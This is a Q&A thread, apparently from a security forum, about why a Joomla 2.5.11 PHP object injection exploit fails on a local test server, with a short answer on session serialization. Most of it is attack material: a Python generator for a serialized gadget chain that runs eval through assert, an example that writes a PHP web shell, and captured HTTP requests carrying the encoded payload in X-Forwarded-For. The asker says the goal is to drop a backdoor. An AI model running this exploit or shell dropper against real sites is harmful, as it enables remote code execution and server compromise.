0

I have read and understand object injection from this question. Then I wanted to test the security issue behind Joomla CMS Object injection through serialization.

TEST MACHINE

  • xammp 1.7.3 for windows
  • Apache/2.2.14 (Win32)
  • PHP/5.3.1
  • Joomla 2.5.11
  • fiddler

EXPLOIT

def generate_payload(php_payload):

     php_payload = "eval({0})".format(php_str_noquotes(php_payload))

     terminate = '\xf0\xfd\xfd\xfd';
     exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
     injected_payload = "{};JFactory::getConfig();exit".format(php_payload)    
     exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
     exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate

     return exploit_template
     pl = generate_payload("system('echo \"<?php \$cmd=\$_GET[\\'cmd\\']; echo system(\$cmd); shell_exec ( string $cmd ) : string;?>\" > /tmp/jx.php');")

     print get_url("http://127.0.0.1/", pl, "store_true")

First I tested if my machine is exploitable using the available exploits but they all failed or maybe I am the one who didnt understand so please help me understand whats happening exactly.

Here is what i can see through fiddler:

The exploit makes 4 requests with the first response a little different from the rest (it uses the store_true method to set the cookie I guess).

GET http://127.0.0.1/ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
X-Forwarded-For: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:1041:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(101).chr(99).chr(104).chr(111).chr(32).chr(34).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(92).chr(36).chr(99).chr(109).chr(100).chr(61).chr(92).chr(36).chr(95).chr(71).chr(69).chr(84).chr(91).chr(92).chr(39).chr(99).chr(109).chr(100).chr(92).chr(39).chr(93).chr(59).chr(32).chr(101).chr(99).chr(104).chr(111).chr(32).chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(92).chr(36).chr(99).chr(109).chr(100).chr(41).chr(59).chr(32).chr(115).chr(104).chr(101).chr(108).chr(108).chr(95).chr(101).chr(120).chr(101).chr(99).chr(32).chr(40).chr(32).chr(115).chr(116).chr(114).chr(105).chr(110).chr(103).chr(32).chr(36).chr(99).chr(109).chr(100).chr(32).chr(41).chr(32).chr(58).chr(32).chr(115).chr(116).chr(114).chr(105).chr(110).chr(103).chr(59).chr(63).chr(62).chr(34).chr(32).chr(62).chr(32).chr(47).chr(116).chr(109).chr(112).chr(47).chr(106).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}

This is the first response:

HTTP/1.1 200 OK
Date: Fri, 01 Feb 2019 07:47:00 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Set-Cookie: f9c39f9608ec4593c02925f43b3c97db=v5jlhjodjp58el3jh5meanohl0; path=/
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Cache-Control: no-cache
Pragma: no-cache
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 15156

Then the second request:

GET http://127.0.0.1/ HTTP/1.1
Host: 127.0.0.1
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
X-Forwarded-For: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:1041:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(101).chr(99).chr(104).chr(111).chr(32).chr(34).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(92).chr(36).chr(99).chr(109).chr(100).chr(61).chr(92).chr(36).chr(95).chr(71).chr(69).chr(84).chr(91).chr(92).chr(39).chr(99).chr(109).chr(100).chr(92).chr(39).chr(93).chr(59).chr(32).chr(101).chr(99).chr(104).chr(111).chr(32).chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(92).chr(36).chr(99).chr(109).chr(100).chr(41).chr(59).chr(32).chr(115).chr(104).chr(101).chr(108).chr(108).chr(95).chr(101).chr(120).chr(101).chr(99).chr(32).chr(40).chr(32).chr(115).chr(116).chr(114).chr(105).chr(110).chr(103).chr(32).chr(36).chr(99).chr(109).chr(100).chr(32).chr(41).chr(32).chr(58).chr(32).chr(115).chr(116).chr(114).chr(105).chr(110).chr(103).chr(59).chr(63).chr(62).chr(34).chr(32).chr(62).chr(32).chr(47).chr(116).chr(109).chr(112).chr(47).chr(106).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}    
Cookie: f9c39f9608ec4593c02925f43b3c97db=v5jlhjodjp58el3jh5meanohl0

The second response:

HTTP/1.1 200 OK
Date: Fri, 01 Feb 2019 07:47:00 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Cache-Control: no-cache
Pragma: no-cache
Keep-Alive: timeout=5, max=99
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 15156

I have noticed that the first request set the cookie and the later uses the cookies so I thought that's where the magic happens so I kept in mind that un-serialization follows then __destruct. But the question is where and when?

So the cookies are stored in the database serialized along with user agent (which by the way is malicious)

__default|a:9:{s:15:"session.counter";i:4;s:19:"session.timer.start";i:1549007220;s:18:"session.timer.last";i:1549007221;s:17:"session.timer.now";i:1549007222;s:24:"session.client.forwarded";s:1426:"}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:1041:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(101).chr(99).chr(104).chr(111).chr(32).chr(34).chr(60).chr(63).chr(112).chr(104).chr(112).chr(32).chr(92).chr(36).chr(99).chr(109).chr(100).chr(61).chr(92).chr(36).chr(95).chr(71).chr(69).chr(84).chr(91).chr(92).chr(39).chr(99).chr(109).chr(100).chr(92).chr(39).chr(93).chr(59).chr(32).chr(101).chr(99).chr(104).chr(111).chr(32).chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(92).chr(36).chr(99).chr(109).chr(100).chr(41).chr(59).chr(32).chr(115).chr(104).chr(101).chr(108).chr(108).chr(95).chr(101).chr(120).chr(101).chr(99).chr(32).chr(40).chr(32).chr(115).chr(116).chr(114).chr(105).chr(110).chr(103).chr(32).chr(36).chr(99).chr(109).chr(100).chr(32).chr(41).chr(32).chr(58).chr(32).chr(115).chr(116).chr(114).chr(105).chr(110).chr(103).chr(59).chr(63).chr(62).chr(34).chr(32).chr(62).chr(32).chr(47).chr(116).chr(109).chr(112).chr(47).chr(106).chr(120).chr(46).chr(112).chr(104).chr(112).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}����";s:22:"session.client.browser";s:78:"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0";s:8:"registry";O:9:"JRegistry":1:{s:7:"*data";O:8:"stdClass":0:{}}s:4:"user";O:5:"JUser":25:{s:9:"*isRoot";b:0;s:2:"id";i:0;s:4:"name";N;s:8:"username";N;s:5:"email";N;s:8:"password";N;s:14:"password_clear";s:0:"";s:8:"usertype";N;s:5:"block";N;s:9:"sendEmail";i:0;s:12:"registerDate";N;s:13:"lastvisitDate";N;s:10:"activation";N;s:6:"params";N;s:6:"groups";a:0:{}s:5:"guest";i:1;s:13:"lastResetTime";N;s:10:"resetCount";N;s:10:"*_params";O:9:"JRegistry":1:{s:7:"*data";O:8:"stdClass":0:{}}s:14:"*_authGroups";a:1:{i:0;i:1;}s:14:"*_authLevels";a:2:{i:0;i:1;i:1;i:1;}s:15:"*_authActions";N;s:12:"*_errorMsg";N;s:10:"*_errors";a:0:{}s:3:"aid";i:0;}s:13:"session.token";s:32:"b87e0280d138620307806718cd6f3102";}

Why cant the payload execute when accessing the session cookie? Is it because the its windows? Or php 5.3's eval()?

Anders
  • 64,406
  • 24
  • 178
  • 215
  • The link to the question in the first sentence seems to be missing. Could you please add it? – Anders Feb 01 '19 at 09:33
  • Welcome. I find it hard to understand where your problem is exactly, as the question is incoherent. You're talking about a malicious user-agent, the cookie that gets written - but your requests place the malicious payload into X-Forwarded-For. What are you trying to do and what is your expected outcome? Why don't you quote the relevant source code you want to exploit? – Tobi Nary Feb 01 '19 at 10:04
  • @ Tobi Nary i am trying to exploit object injection , i want to see if joomla 2.5.11 is vulnerable to this attack – ingezengeze nkayishyane Feb 01 '19 at 11:27
  • @TobiNary " your requests place the malicious payload into X-Forwarded-For " thank you, all i did was to execute the payload while fiddler is open then go to sessions in joomla database to see if something happens, i want to drop a backdoor in the server( it seems impossible) – ingezengeze nkayishyane Feb 01 '19 at 11:36

1 Answers1

0

The analysis here pointed out that there is a difference between PHP’s session serialization and the usual serialize() function especially when it comes to array indexes

for example given the following array

array( ‘a’ => ‘a’, ‘b’ => ‘b’):

A standard serialize() call would give us a:2:{s:1:”a”;s:1:”a”;s:1:”b”;s:1:”b”;}

Whereas session_encode() is returning a|s:1:”a”;b|s:1:”b”;

In this case, session_encode() will allow attackers to store arbitrary session data inside the database

Now to answer the question

the part }__test|O:21 starts a new serialized object but problem with this approach is that it leaves an extra pipe ( | ) character, which breaks the resulting serialized payload. To get anything malicious in the session, an attacker needs to get rid of all the data located after the injected payload